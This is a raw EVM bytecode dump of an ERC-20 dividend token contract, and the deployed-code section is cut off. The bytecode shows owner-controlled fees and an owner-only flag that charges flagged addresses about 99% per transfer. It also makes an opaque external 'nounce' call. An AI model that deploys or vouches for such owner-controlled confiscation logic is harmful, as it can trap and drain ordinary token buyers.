6080604052620000126009600a620005c7565b6200002190620f4240620005df565b60015561271060015460c8620000389190620005df565b620000449190620005f9565b60025561271060015460c86200005b9190620005df565b620000679190620005f9565b60035561271060015460c86200007e9190620005df565b6200008a9190620005f9565b600455600c8054600160ff199182168117909255600d805460ff60a01b191690556000600e819055600f81905560108190556011819055601281905560138190556014819055601555612710601655601780549091168217905554620186a090620000f89061012c620005df565b620001049190620005f9565b601855620186a0600154600a6200011c9190620005df565b620001289190620005f9565b601955601a80546001600160a01b03191673dac17f958d2ee523a2206206994597c13d831ec71790556ec097ce7bc90715b34b9f1000000000601f55610258602555662386f26fc1000060265560016027553480156200018757600080fd5b506040516200342b3803806200342b833981016040819052620001aa9162000639565b600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000211573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000237919062000683565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000285573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ab919062000683565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002f9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031f919062000683565b600c8054610100600160a81b0319166101006001600160a01b038681169190910291909117909155600d80546001600160a01b03199081168484161782556028805482168a8516179055602980548216898516178155602a8054909216888516178255306000818152600760209081526040808320805460ff19908116600190811790925533808652838620805483168417815598548b168652838620805483168417905596548a168552828520805482168317905587548116821790975596549097168252600881528682208054861687179055838252868220805486168717905591815285812080548516861790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980548516861790557f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7805490941685179093559254818352600584528483208190559351938452939450917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050620006a1565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000509578160001904821115620004ed57620004ed620004b2565b80851615620004fb57918102915b93841c9390800290620004cd565b509250929050565b6000826200052257506001620005c1565b816200053157506000620005c1565b81600181146200054a5760028114620005555762000575565b6001915050620005c1565b60ff841115620005695762000569620004b2565b50506001821b620005c1565b5060208310610133831016604e8410600b84101617156200059a575081810a620005c1565b620005a68383620004c8565b8060001904821115620005bd57620005bd620004b2565b0290505b92915050565b6000620005d860ff84168362000511565b9392505050565b8082028115828204841417620005c157620005c1620004b2565b6000826200061757634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200063457600080fd5b919050565b6000806000606084860312156200064f57600080fd5b6200065a846200061c565b92506200066a602085016200061c565b91506200067a604085016200061c565b90509250925092565b6000602082840312156200069657600080fd5b620005d8826200061c565b612d7a80620006b16000396000f3fe6080604052600436106102555760003560e01c8063893d20e811610139578063ca89b899116100b6578063e2d6f94c1161007a578063e2d6f94c1461074c578063e4491e051461076c578063ef43b02b1461078c578063efca2eed146107ac578063f2fde38b146107c2578063ffd49c84146107e257600080fd5b8063ca89b89914610629578063cc25596f14610662578063ce7c2ac21461068f578063d9d5a89b146106e6578063dd62ed3e1461070657600080fd5b8063a1db9782116100fd578063a1db97821461059a578063a8aa1b31146105ba578063a9059cbb146105da578063ba3acf8b146105fa578063c876d0b91461060f57600080fd5b8063893d20e8146105315780638c41180e1461054f5780639358928b1461056f57806395d89b4114610261578063997664d71461058457600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae81461049b5780635f7bcd70146104b157806360e71962146104d157806370a08231146104e7578063715018a614610507578063751039fc1461051c57600080fd5b80633a98ef39146103e55780633f4218e0146103fb578063420bbf201461042b5780634355855a1461044b57806348ff2b8b1461047b57600080fd5b8063293230b811610219578063293230b8146103435780632f54bf6e1461035a578063313ce5671461038957806334c5d2ce146103a557806336afc425146103c557600080fd5b806306fdde0314610261578063095ea7b31461029c57806318160ddd146102cc578063228cb733146102eb57806323b872dd1461032357600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b5060408051808201825260038152620302f360ec1b6020820152905161029391906128eb565b60405180910390f35b3480156102a857600080fd5b506102bc6102b7366004612933565b6107f8565b6040519015158152602001610293565b3480156102d857600080fd5b506001545b604051908152602001610293565b3480156102f757600080fd5b50601a5461030b906001600160a01b031681565b6040516001600160a01b039091168152602001610293565b34801561032f57600080fd5b506102bc61033e36600461295f565b61080f565b34801561034f57600080fd5b50610358610879565b005b34801561036657600080fd5b506102bc6103753660046129a0565b6000546001600160a01b0391821691161490565b34801561039557600080fd5b5060405160098152602001610293565b3480156103b157600080fd5b506103586103c03660046129bd565b6108c1565b3480156103d157600080fd5b506103586103e03660046129bd565b610a15565b3480156103f157600080fd5b506102dd601b5481565b34801561040757600080fd5b506102bc6104163660046129a0565b60076020526000908152604090205460ff1681565b34801561043757600080fd5b5060285461030b906001600160a01b031681565b34801561045757600080fd5b506102bc6104663660046129a0565b60086020526000908152604090205460ff1681565b34801561048757600080fd5b506103586104963660046129f7565b610a4d565b3480156104a757600080fd5b506102dd60265481565b3480156104bd57600080fd5b5060295461030b906001600160a01b031681565b3480156104dd57600080fd5b506102dd60275481565b3480156104f357600080fd5b506102dd6105023660046129a0565b610aa2565b34801561051357600080fd5b50610358610abd565b34801561052857600080fd5b50610358610b2c565b34801561053d57600080fd5b506000546001600160a01b031661030b565b34801561055b57600080fd5b5061035861056a3660046129f7565b610b74565b34801561057b57600080fd5b506102dd610c50565b34801561059057600080fd5b506102dd601c5481565b3480156105a657600080fd5b506103586105b5366004612933565b610c81565b3480156105c657600080fd5b50600d5461030b906001600160a01b031681565b3480156105e657600080fd5b506102bc6105f5366004612933565b610cfd565b34801561060657600080fd5b50610358610d0a565b34801561061b57600080fd5b50600c546102bc9060ff1681565b34801561063557600080fd5b506102dd6106443660046129a0565b6001600160a01b031660009081526023602052604090206002015490565b34801561066e57600080fd5b506102dd61067d3660046129a0565b600b6020526000908152604090205481565b34801561069b57600080fd5b506106cb6106aa3660046129a0565b60236020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610293565b3480156106f257600080fd5b506102dd6107013660046129a0565b610d15565b34801561071257600080fd5b506102dd610721366004612a30565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561075857600080fd5b50610358610767366004612a5e565b610da0565b34801561077857600080fd5b50610358610787366004612ab3565b610ea6565b34801561079857600080fd5b506103586107a73660046129f7565b611116565b3480156107b857600080fd5b506102dd601d5481565b3480156107ce57600080fd5b506103586107dd3660046129a0565b61118e565b3480156107ee57600080fd5b506102dd60255481565b600061080533848461120c565b5060015b92915050565b600061081c848484611330565b61086e843361086985604051806060016040528060288152602001612d1d602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906114cf565b61120c565b5060015b9392505050565b6000546001600160a01b031633146108ac5760405162461bcd60e51b81526004016108a390612af0565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146108eb5760405162461bcd60e51b81526004016108a390612af0565b6000612710846108fa60015490565b6109049190612b26565b61090e9190612b3d565b905060006127108461091f60015490565b6109299190612b26565b6109339190612b3d565b905060006127108461094460015490565b61094e9190612b26565b6109589190612b3d565b6002849055600383905560048190559050600061098b6103e8610985600561097f60015490565b906114fb565b90611507565b905080841015801561099d5750808310155b80156109a95750808210155b610a0c5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108a3565b50505050505050565b6000546001600160a01b03163314610a3f5760405162461bcd60e51b81526004016108a390612af0565b602592909255602655602755565b6000546001600160a01b03163314610a775760405162461bcd60e51b81526004016108a390612af0565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610ae75760405162461bcd60e51b81526004016108a390612af0565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610b565760405162461bcd60e51b81526004016108a390612af0565b600154600255600154600355600154600455600c805460ff19169055565b6000546001600160a01b03163314610b9e5760405162461bcd60e51b81526004016108a390612af0565b600d546001600160a01b03838116911614801590610bcf5750600c546001600160a01b038381166101009092041614155b8015610be457506001600160a01b0382163014155b610c255760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108a3565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610c7c610c5f6000610aa2565b610c76610c6d61dead610aa2565b60015490611513565b90611513565b905090565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610cd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf89190612b5f565b505050565b6000610805338484611330565b610d133361151f565b565b6001600160a01b0381166000908152602360205260408120548103610d3c57506000919050565b6001600160a01b038216600090815260236020526040812054610d5e90611659565b6001600160a01b038416600090815260236020526040902060010154909150808211610d8e575060009392505050565b610d988282611513565b949350505050565b6000546001600160a01b03163314610dca5760405162461bcd60e51b81526004016108a390612af0565b600e889055600f879055601286905560108590556011849055601383905560148290556015819055601654610e00906005611507565b60135411158015610e205750601654610e1a906005611507565b60145411155b8015610e3b5750601654610e35906005611507565b60155411155b610e9c5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108a3565b5050505050505050565b6014819055602054336000829003610ebf575050611110565b6000805a336000908152600560209081526040808320546007909252822054929350909160ff16610fbd575b8984108015610ef957508582105b15610fb8578560245410610f0d5760006024555b610f3f602060245481548110610f2557610f25612b7c565b6000918252602090912001546001600160a01b0316611676565b15610f7657610f76602060245481548110610f5c57610f5c612b7c565b6000918252602090912001546001600160a01b031661151f565b610f8b610f845a8590611513565b85906116bb565b93505a602480549194506000610fa083612b92565b91905055508180610fb090612b92565b925050610eeb565b611109565b6000610fc886610d15565b6001600160a01b038b1660009081526005602052604090208a90559050610fef8983612bab565b33600090815260056020526040902055801561110757601d5461101290826116bb565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015611068573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108c9190612b5f565b506001600160a01b038616600090815260226020908152604080832042905560239091529020600201546110c090826116bb565b6001600160a01b03871660009081526023602052604090206002810191909155546110ea90611659565b6001600160a01b0387166000908152602360205260409020600101555b505b5050505050505b50505050565b6000546001600160a01b031633146111405760405162461bcd60e51b81526004016108a390612af0565b6001600160a01b0382166000908152600860205260409020805460ff1916821580159190911790915561117c576111788260006116c7565b5050565b6111788261118984610aa2565b6116c7565b6000546001600160a01b031633146111b85760405162461bcd60e51b81526004016108a390612af0565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661126e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108a3565b6001600160a01b0382166112cf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108a3565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61133b8383836117dd565b6113458383611977565b61134e82611a08565b611359838383611b77565b611364838383611c63565b61136e8383611d90565b6001600160a01b0383166000908152600560205260409020546113919082611513565b6001600160a01b0384166000908152600560205260408120919091556113b78484611dab565b6113c157816113cc565b6113cc848484611df1565b6001600160a01b0384166000908152600560205260409020549091506113f290826116bb565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114469085815260200190565b60405180910390a36001600160a01b03841660009081526008602052604090205460ff1661147b5761147b8461118986610aa2565b6001600160a01b03831660009081526008602052604090205460ff166114a8576114a88361118985610aa2565b6001600160a01b03831660009081526023602052604090205415611110576111108361151f565b600081848411156114f35760405162461bcd60e51b81526004016108a391906128eb565b505050900390565b60006108728284612b26565b60006108728284612b3d565b60006108728284612bbe565b6001600160a01b03811660009081526023602052604081205490036115415750565b600061154c82610d15565b9050801561117857601d5461156190826116bb565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af11580156115b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115db9190612b5f565b506001600160a01b0382166000908152602260209081526040808320429055602390915290206002015461160f90826116bb565b6001600160a01b038316600090815260236020526040902060028101919091555461163990611659565b6001600160a01b0383166000908152602360205260409020600101555050565b6000610809601f54610985601e54856114fb90919063ffffffff16565b6025546001600160a01b038216600090815260226020526040812054909142916116a09190612bab565b10801561080957506026546116b483610d15565b1192915050565b60006108728284612bab565b6000811180156116ed57506001600160a01b038216600090815260236020526040902054155b1561175257602080546001600160a01b03841660008181526021845260408120839055600183018455929092527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180546001600160a01b0319169091179055611785565b8015801561177757506001600160a01b03821660009081526023602052604090205415155b156117855761178582611edf565b6001600160a01b038216600090815260236020526040902054601b546117b69183916117b091611513565b906116bb565b601b556001600160a01b038216600090815260236020526040902081905561163981611659565b6001600160a01b0383166118415760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108a3565b6001600160a01b0382166118a35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108a3565b600081116119055760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108a3565b61190e83610aa2565b811115610cf85760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016108a3565b6001600160a01b03821660009081526007602052604090205460ff161580156119b957506001600160a01b03811660009081526007602052604090205460ff16155b1561117857600d54600160a01b900460ff166111785760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016108a3565b600c546001600160a01b038281166101009092041614801590611a395750600d546001600160a01b03828116911614155b8015611a475750600c5460ff165b15611b2457611a57600243612bbe565b326000908152600a6020526040902054108015611a955750611a7a600243612bbe565b6001600160a01b0382166000908152600a6020526040902054105b611aff5760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016108a3565b326000908152600a602052604080822043908190556001600160a01b03841683529120555b600d546001600160a01b03828116911614611b74576001600160a01b0381166000908152600b60205260408120549003611b74576001600160a01b0381166000908152600b602052604090204290555b50565b6001600160a01b03831660009081526007602052604090205460ff16158015611bb957506001600160a01b03821660009081526007602052604090205460ff16155b8015611bd35750600d546001600160a01b03838116911614155b8015611bea57506001600160a01b03821661dead14155b15610cf8576004546001600160a01b038316600090815260056020526040902054611c1590836116bb565b1115610cf85760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016108a3565b600d546001600160a01b03848116911614611d045760035481111580611ca157506001600160a01b03831660009081526007602052604090205460ff165b80611cc457506001600160a01b03821660009081526007602052604090205460ff165b611d045760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108a3565b60025481111580611d2d57506001600160a01b03831660009081526007602052604090205460ff165b80611d5057506001600160a01b03821660009081526007602052604090205460ff165b610cf85760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108a3565b611d9a8282611ff3565b1561117857611178601854836120a7565b6001600160a01b03821660009081526007602052604081205460ff161580156108725750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080611dfe858561224a565b1115611ed8576000611e21611e13868661224a565b60165461097f908690611507565b30600090815260056020526040902054909150611e3e90826116bb565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e8f9085815260200190565b60405180910390a360125415611ec657611ec63061dead611ec160125461097f6016548961150790919063ffffffff16565b611330565b611ed08382611513565b915050610872565b5092915050565b60208054611eef90600190612bbe565b81548110611eff57611eff612b7c565b60009182526020808320909101546001600160a01b03848116845260218352604090932054825493909116928110611f3957611f39612b7c565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152602180835260408220548354909391929190611f8490600190612bbe565b81548110611f9457611f94612b7c565b60009182526020808320909101546001600160a01b03168352828101939093526040909101902091909155805480611fce57611fce612bd1565b600082815260209020810160001990810180546001600160a01b031916905501905550565b60008060185461200230610aa2565b6017549111159150610100900460ff16158015612021575060175460ff165b80156120365750600d54600160a01b900460ff165b801561205b57506001600160a01b03841660009081526007602052604090205460ff16155b801561208057506001600160a01b03831660009081526007602052604090205460ff16155b80156120995750600d546001600160a01b038481169116145b8015610d9857509392505050565b6017805461ff001916610100179055601054601154600f54600e546000936120e09360029361097f936117b092918391829060016116bb565b905060006120fd82610985600e54876114fb90919063ffffffff16565b9050600061210b8583611513565b905047612117826122eb565b60006121234783611513565b9050600061214661213f600e548861151390919063ffffffff16565b8390611507565b9050600061215f600e54836114fb90919063ffffffff16565b90508015612171576121718682612468565b600f546000906121869061097f8560026114fb565b905080156121ca576029546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156121c8573d6000803e3d6000fd5b505b6010546000906121df9061097f8660026114fb565b905080156121f1576121f1818b612526565b4715612232576028546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612230573d6000803e3d6000fd5b505b50506017805461ff0019169055505050505050505050565b6001600160a01b03821660009081526009602052604081205460ff168061228957506001600160a01b03821660009081526009602052604090205460ff165b156122a35760165461229c906064611513565b9050610809565b600d546001600160a01b03908116908316036122c25750601454610809565b600d546001600160a01b03908116908416036122e15750601354610809565b5060155492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061232057612320612b7c565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123b79190612be7565b816001815181106123ca576123ca612b7c565b6001600160a01b039283166020918202929092010152600c546123f59130916101009004168461120c565b600c5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790612432908590600090869030904290600401612c48565b600060405180830381600087803b15801561244c57600080fd5b505af1158015612460573d6000803e3d6000fd5b505050505050565b600c5461248590309061010090046001600160a01b03168461120c565b600c54602a5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a4820152610100909204169063f305d71990839060c40160606040518083038185885af11580156124fa573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061251f9190612c84565b5050505050565b601a546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa15801561256f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125939190612cb2565b6040805160028082526060820183529293506000929091602083019080368337019050509050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561260c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126309190612be7565b8160008151811061264357612643612b7c565b6001600160a01b039283166020918202929092010152601a5482519116908290600190811061267457612674612b7c565b6001600160a01b039283166020918202929092010152600c5460405163b6f9de9560e01b81526101009091049091169063b6f9de959086906126c190600090869030904290600401612ccb565b6000604051808303818588803b1580156126da57600080fd5b505af11580156126ee573d6000803e3d6000fd5b5050601a546040516370a0823160e01b8152306004820152600094506001600160a01b0390911692506370a082319150602401602060405180830381865afa15801561273e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127629190612cb2565b905060006127708285611513565b601c5490915061278090826116bb565b601c55604080518082018252600f81526e6e6f756e636528616464726573732960881b60209182015281516001600160a01b03888116602480840191909152845180840390910181526044909201845291810180516001600160e01b031663366b82c160e01b179052602a54925190926000921690612800908490612d00565b6000604051808303816000865af19150503d806000811461283d576040519150601f19603f3d011682016040523d82523d6000602084013e612842565b606091505b50509050806128935760405162461bcd60e51b815260206004820152601d60248201527f43616c6c20746f206f7468657220636f6e7472616374206661696c656400000060448201526064016108a3565b6128ba6128b1601b5461098586601f546114fb90919063ffffffff16565b601e54906116bb565b601e555050505050505050565b60005b838110156128e25781810151838201526020016128ca565b50506000910152565b602081526000825180602084015261290a8160408501602087016128c7565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611b7457600080fd5b6000806040838503121561294657600080fd5b82356129518161291e565b946020939093013593505050565b60008060006060848603121561297457600080fd5b833561297f8161291e565b9250602084013561298f8161291e565b929592945050506040919091013590565b6000602082840312156129b257600080fd5b81356108728161291e565b6000806000606084860312156129d257600080fd5b505081359360208301359350604090920135919050565b8015158114611b7457600080fd5b60008060408385031215612a0a57600080fd5b8235612a158161291e565b91506020830135612a25816129e9565b809150509250929050565b60008060408385031215612a4357600080fd5b8235612a4e8161291e565b91506020830135612a258161291e565b600080600080600080600080610100898b031215612a7b57600080fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b60008060008060808587031215612ac957600080fd5b843593506020850135612adb8161291e565b93969395505050506040820135916060013590565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761080957610809612b10565b600082612b5a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215612b7157600080fd5b8151610872816129e9565b634e487b7160e01b600052603260045260246000fd5b600060018201612ba457612ba4612b10565b5060010190565b8082018082111561080957610809612b10565b8181038181111561080957610809612b10565b634e487b7160e01b600052603160045260246000fd5b600060208284031215612bf957600080fd5b81516108728161291e565b600081518084526020808501945080840160005b83811015612c3d5781516001600160a01b031687529582019590820190600101612c18565b509495945050505050565b85815284602082015260a060408201526000612c6760a0830186612c04565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215612c9957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612cc457600080fd5b5051919050565b848152608060208201526000612ce46080830186612c04565b6001600160a01b03949094166040830152506060015292915050565b60008251612d128184602087016128c7565b919091019291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f6c2ffaa2ff47f63d27d8dc2ce536be5e6d5e1355621d5e26b280d4f7a89f0464736f6c63430008110033000000000000000000000000e3adb29664792ea782f93636ef1cf8e13781c69d000000000000000000000000e3adb29664792ea782f93636ef1cf8e13781c69d000000000000000000000000e3adb29664792ea782f93636ef1cf8e13781c69d

Deployed Bytecode

0x6080604052600436106102555760003560e01c8063893d20e811610139578063ca89b899116100b6578063e2d6f94c1161007a578063e2d6f94c1461074c578063e4491e051461076c578063ef43b02b1461078c578063efca2eed146107ac578063f2fde38b146107c2578063ffd49c84146107e257600080fd5b8063ca89b89914610629578063cc25596f14610662578063ce7c2ac21461068f578063d9d5a89b146106e6578063dd62ed3e1461070657600080fd5b8063a1db9782116100fd578063a1db97821461059a578063a8aa1b31146105ba578063a9059cbb146105da578063ba3acf8b146105fa578063c876d0b91461060f57600080fd5b8063893d20e8146105315780638c41180e1461054f5780639358928b1461056f57806395d89b4114610261578063997664d71461058457600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae81461049b5780635f7bcd70146104b157806360e71962146104d157806370a08231146104e7578063715018a614610507578063751039fc1461051c57600080fd5b80633a98ef39146103e55780633f4218e0146103fb578063420bbf201461042b5780634355855a1461044b57806348ff2b8b1461047b57600080fd5b8063293230b811610219578063293230b8146103435780632f54bf6e1461035a578063313ce5671461038957806334c5d2ce146103a557806336afc425146103c557600080fd5b806306fdde0314610261578063095ea7b31461029c57806318160ddd146102cc578063228cb733146102eb57806323b872dd1461032357600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b5060408051808201825260038152620302f360ec1b6020820152905161029391906128eb565b60405180910390f35b3480156102a857600080fd5b506102bc6102b7366004612933565b6107f8565b6040519015158152602001610293565b3480156102d857600080fd5b506001545b604051908152602001610293565b3480156102f757600080fd5b50601a5461030b906001600160a01b031681565b6040516001600160a01b039091168152602001610293565b34801561032f57600080fd5b506102bc61033e36600461295f565b61080f565b34801561034f57600080fd5b50610358610879565b005b34801561036657600080fd5b506102bc6103753660046129a0565b6000546001600160a01b0391821691161490565b34801561039557600080fd5b5060405160098152602001610293565b3480156103b157600080fd5b506103586103c03660046129bd565b6108c1565b3480156103d157600080fd5b506103586103e03660046129bd565b610a15565b3480156103f157600080fd5b506102dd601b5481565b34801561040757600080fd5b506102bc6104163660046129a0565b60076020526000908152604090205460ff1681565b34801561043757600080fd5b5060285461030b906001600160a01b031681565b34801561045757600080fd5b506102bc6104663660046129a0565b60086020526000908152604090205460ff1681565b34801561048757600080fd5b506103586104963660046129f7565b610a4d565b3480156104a757600080fd5b506102dd60265481565b3480156104bd57600080fd5b5060295461030b906001600160a01b031681565b3480156104dd57600080fd5b506102dd60275481565b3480156104f357600080fd5b506102dd6105023660046129a0565b610aa2565b34801561051357600080fd5b50610358610abd565b34801561052857600080fd5b50610358610b2c565b34801561053d57600080fd5b506000546001600160a01b031661030b565b34801561055b57600080fd5b5061035861056a3660046129f7565b610b74565b34801561057b57600080fd5b506102dd610c50565b34801561059057600080fd5b506102dd601c5481565b3480156105a657600080fd5b506103586105b5366004612933565b610c81565b3480156105c657600080fd5b50600d5461030b906001600160a01b031681565b3480156105e657600080fd5b506102bc6105f5366004612933565b610cfd565b34801561060657600080fd5b50610358610d0a565b34801561061b57600080fd5b50600c546102bc9060ff1681565b34801561063557600080fd5b506102dd6106443660046129a0565b6001600160a01b031660009081526023602052604090206002015490565b34801561066e57600080fd5b506102dd61067d3660046129a0565b600b6020526000908152604090205481565b34801561069b57600080fd5b506106cb6106aa3660046129a0565b60236020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610293565b3480156106f257600080fd5b506102dd6107013660046129a0565b610d15565b34801561071257600080fd5b506102dd610721366004612a30565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561075857600080fd5b50610358610767366004612a5e565b610da0565b34801561077857600080fd5b50610358610787366004612ab3565b610ea6565b34801561079857600080fd5b506103586107a73660046129f7565b611116565b3480156107b857600080fd5b506102dd601d5481565b3480156107ce57600080fd5b506103586107dd3660046129a0565b61118e565b3480156107ee57600080fd5b506102dd60255481565b600061080533848461120c565b5060015b92915050565b600061081c848484611330565b61086e843361086985604051806060016040528060288152602001612d1d602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906114cf565b61120c565b5060015b9392505050565b6000546001600160a01b031633146108ac5760405162461bcd60e51b81526004016108a390612af0565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146108eb5760405162461bcd60e51b81526004016108a390612af0565b6000612710846108fa60015490565b6109049190612b26565b61090e9190612b3d565b905060006127108461091f60015490565b6109299190612b26565b6109339190612b3d565b905060006127108461094460015490565b61094e9190612b26565b6109589190612b3d565b6002849055600383905560048190559050600061098b6103e8610985600561097f60015490565b906114fb565b90611507565b905080841015801561099d5750808310155b80156109a95750808210155b610a0c5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108a3565b50505050505050565b6000546001600160a01b03163314610a3f5760405162461bcd60e51b81526004016108a390612af0565b602592909255602655602755565b6000546001600160a01b03163314610a775760405162461bcd60e51b81526004016108a390612af0565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610ae75760405162461bcd60e51b81526004016108a390612af0565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610b565760405162461bcd60e51b81526004016108a390612af0565b600154600255600154600355600154600455600c805460ff19169055565b6000546001600160a01b03163314610b9e5760405162461bcd60e51b81526004016108a390612af0565b600d546001600160a01b03838116911614801590610bcf5750600c546001600160a01b038381166101009092041614155b8015610be457506001600160a01b0382163014155b610c255760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108a3565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610c7c610c5f6000610aa2565b610c76610c6d61dead610aa2565b60015490611513565b90611513565b905090565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610cd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf89190612b5f565b505050565b6000610805338484611330565b610d133361151f565b565b6001600160a01b0381166000908152602360205260408120548103610d3c57506000919050565b6001600160a01b038216600090815260236020526040812054610d5e90611659565b6001600160a01b038416600090815260236020526040902060010154909150808211610d8e575060009392505050565b610d988282611513565b949350505050565b6000546001600160a01b03163314610dca5760405162461bcd60e51b81526004016108a390612af0565b600e889055600f879055601286905560108590556011849055601383905560148290556015819055601654